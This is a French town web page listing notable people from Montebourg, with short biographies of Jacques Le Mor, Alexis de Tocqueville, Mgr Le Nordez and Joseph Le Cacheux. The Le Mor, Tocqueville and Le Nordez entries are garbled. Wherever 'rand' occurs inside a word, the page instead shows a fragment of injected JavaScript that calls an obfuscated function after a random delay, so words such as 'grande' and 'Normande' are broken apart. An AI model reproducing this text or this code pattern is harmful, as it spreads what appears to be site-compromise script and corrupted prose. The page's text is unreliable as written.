Liste des Maires – Les personnalités
Liste des Maires
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Les personnalités
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Charles-François Tiphaigne de La Roche 1722-1774
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Jacques François Melchior Le Mor 1764 – 1860
Jacques Le Mor est né à Montebourg en 1764 et mourut à Montebourg à l’âge de 96 ans, le 26 décembre 1860, un record en son temps. Il sera nommé député du tiers-état aux états généraux convoqués par le roi Louis XVI en 1789, puis secrétaire de Napoléon Ier. À l’ouverture de son testament par Maître Guiffard, on vit qu’il n’avait pas oublié de faire du bien après sa mort. En effet, voici ce qu’écrivit le notaire, « J’ajouterai que votre défunt Lemor a droit encore et tout particulièrement à la reconnaissance de tous les pauvres de Montebourg dont il avait fait en quelques sorte sa seconde famille. J’ai trouvé, en effet , que par son testament olographe à mon étude devant Maître Lefranc, mon prédécesseur, ce testament, en date du 20 octobre 1859 Monsieur Jacques- François Melchior Lemor avait légué 1 000 francs à chacune des 50 familles de Montebourg les plus pauvres et les plus dignes d’être secourues, soit 50 000 francs. Ce legs a été délivré aux personnes légataires par acte en mon étude, tous ont certainement gardé le souvenir de ce grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and acte de génèrosité ». Il repose dans le cimetière de Montebourg. |
Alexis de Tocqueville 1805-1859
Né à Paris le 29 juillet 1805 dans une famille légitimiste de la noblesse Normandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande, Alexis de Tocqueville compte plusieurs aïeux illustres de la noblesse normandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande. Il est par sa mère arrière-petit-fils de Malesherbes et neveu du frère aîné de Chateaubriant. En outre, il descend de Saint-Louis par sa grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and-mère paternelle. Ses parents, ultra-royalistes, Hervé Clérel de Tocqueville, Comte de Tocqueville, soldat de la garde constitutionnelle de Louis XVI, et Louise Madeleine Le Peletier de Rosanbo, évitent la guillotine grâce à la chute de Robespierre en l’an II (1794). Après un exil en Angleterre, ils rentrent en France durant l’Empire et Hervé de Tocqueville devient pair de France et préfet sous la restauration. Il est également le frère d’Édouard et Hipollyte Clérel de Tocqueville. Licencié de droit, et suivant l’enseignement de François Guizot Alexis de Tocqueville est nommé juge auditeur en 1827 au tribunal de Versailles où il rencontre Gustave de Beaumont, substitut, qui collaborera à plusieurs de ses ouvrages. Après avoir prêté à contre-cœur serment au nouveau régime, tous deux sont envoyés aux États-Unis (en 1831) pour y étudier le système pénitentiaire américain, d’où ils reviennent avec Du système pénitentiaire aux États-Unis et de son application (1832) Tocqueville s’inscrit ensuite comme avocat. Il rencontre le Procureur Général de l’État de Louisanne, Étienne Mazureau, qui lui fournit un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and nombre d’informations sur le plan juridique, mais également sociologique, démographique et linguistique. Alexis de Tocqueville publiera en 1835 le premier tome De la Démocratie en Amérique (le deuxième en 1840), œuvre fondatrice de sa pensée politique. En 1840, il est reçu en Angleterre par son ami John Sutard Mill, et publie son essai L’État social et politique de la France avant et depuis 1789 qui formera ses grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andes bases de réflexions sur l’Ancien régime et la révolution. À la même époque il entame une carrière politique, en devenant en 1839 député de la Manche (Valognes), siège qu’il conserve jusqu’en 1851. En 1842 , il est élu Conseiller Général de la Manche par le Canton de Sainte-Mère-Montebourg, qu’il représente jusqu’en 1852. Le 6 Août 1849 il est élu, au second tour de scrutin par 24 voix sur 44 votants, Président du Conseil Général fonction qu’il occupe jusqu’en 1851. Retiré en son chateau de Tocqueville, il entame l’écriture de L’Ancien Régime et la Révolution, paru en 1856, dont le sujet porte sur le centralisme français. La seconde partie reste inachevée, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and il meurt en convalescence à la Villa Montfleury de Cannes le 16 avril 1859, où il s’était retiré six mois plus tôt avec sa femme pour soigner sa tuberculose . Il est enterré au cimetière de Tocqueville. |
Monseigneur Le Nordez 1844-1922Albert Léon Marie Le Nordez, né à Montebourg en avril 1844 mort dans cette même ville le 29 janvier 1922, est une personnalité religieuse catholique de La Manche. Ordonné prêtre en 1869, il enseigne à l’Abbaye de Montebourg avant d’être nommé Chapelain de Sainte-Geneviève de Paris. Prédicateur à Notre-Dame de Paris, ses sermons des vendredis de Carême rencontrent le public féminin qui lui ouvre les portes des salons littéraires, et lui valent le surnom de « l’Apôtre des gentilles ». Il est ensuite nommé Chanoine de Beauvais (Oise) et Protonotaire Apostolique en 1895. Fondateur de la revue Fénélon, il encourage le culte de Jeanne d’Arc, conjugaison de la sainteté et le patriotisme dans une fin du XIXe ou papistes et anticléricaux s’affrontent violemment. Ainsi offre-t-il une statue équestre de la Pucelle en 1899 à Montebourg. Inaugurée le 15 octobre devant la maison natale du prélat, sur la place baptisée à l’occasion du nom de la sainte, l’œuvre en grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andeur naturelle de 1,7 tonne d’alliage mesure sur son piédestal en pierre de Dijon, 5,6 mètres de haut. Il est sacré Évêque à Montebourg le 9 août 1896, nommé d’abord Évêque auxiliaire à Verdun (Meuse), puis nommé Évêque à Dijon (Côte-d’Or) en 1899, avec le soutien du républicain libéral Casimir Périer, et de Mgr Placé, Archevêque de Rennes. Intronisé à Saint-Bénigne le 16 février 1899, il prend position en faveur du gallicanisme et de la République, déclarant que « la France et la Religion sont faites pour s’entendre, et non pour se haïr », puis refusant de condamner frontalement en 1902 la loi sur les congrégations religieuses. Il se met également à dos une partie du clergé dijonnais en en imposant son autorité et ses idées. Accusé à tort d’être franc-maçon, il est au centre d’une violente polémique orchestrée par des journaux nationalistes et est convoqué au Vatican par Pie X sans l’accord du ministre des Cultes français, en violation du Concordat, permettant au gouvernement de suspendre les relations diplomatiques de la France avec le Vatican et précipitant la séparation de l’Église et de l’État. Démissionnaire de son ministère le 4 septembre 1904 il se retire à Huberville puis dans sa ville natale, où il meurt en 1922. Sa démission non reconnue par le gouvernement jusqu’à la loi de Séparation de l’Église et de l’État, son successeur n’est nommé qu’en 1906. |
Joseph Le Cacheux 1880-1952Né le 15 mars 1880 à Montebourg (Manche). Décédé le 4 novembre 1952 à Paris (15ème). Député de la Manche de 1928 à 1942,membre de la première et de la seconde Assemblée nationale constituante. Député de la Manche de 1946 à 1948, sénateur de la Manche de 1948 à 1952. Le 10 juillet 1940 , 80 députés n’ont pas voté les pleins pouvoirs au Maréchal Pétain, dont Joseph Le Cacheux. |
Edmond-Marie Poullain 1878-1957
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Arsène Lefillâtre 1888-1966
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Jean-Magloire Dorange 1911-1941
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